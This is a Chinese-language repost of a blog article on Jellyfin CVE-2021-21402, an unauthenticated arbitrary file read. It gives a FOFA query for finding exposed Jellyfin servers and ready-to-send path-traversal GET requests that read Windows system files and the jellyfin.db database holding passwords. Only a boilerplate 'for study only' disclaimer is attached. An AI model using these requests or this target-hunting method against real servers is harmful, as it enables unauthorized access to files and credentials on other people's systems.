漏洞背景
Jellyfin允许读取未经身份验证的任意文件
漏洞复现
祭出fofa
关键字
title="jellyfin" 有条件的排除蜜罐
漏洞利用
可以读取未经身份验证的任意文件
/Audio/{Id}/hls/{segmentId}/stream.mp3/Audio/{Id}/hls/{segmentId}/stream.aac
不管是.mp3还是.aac都是可以未经授权读取windows的文件的 看起来似乎是只能读取mp3或者.aac结尾的文件 其实并不然 通过在URL路径中使用斜杠，返回一个空扩展名，从而获得对结果文件路径的完全控制。
例如下面这样
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/ HTTP/1.1GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1
读取hosts
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3
甚至还可以读取带有密码的数据库
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
特别声明：
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，我不为此承担任何责任。
作者有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者的允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。 切勿用于非法，仅供学习参考
原文始发于微信公众号（深夜笔记本）：Jellyfin - CVE-2021-21402 任意文件读取漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论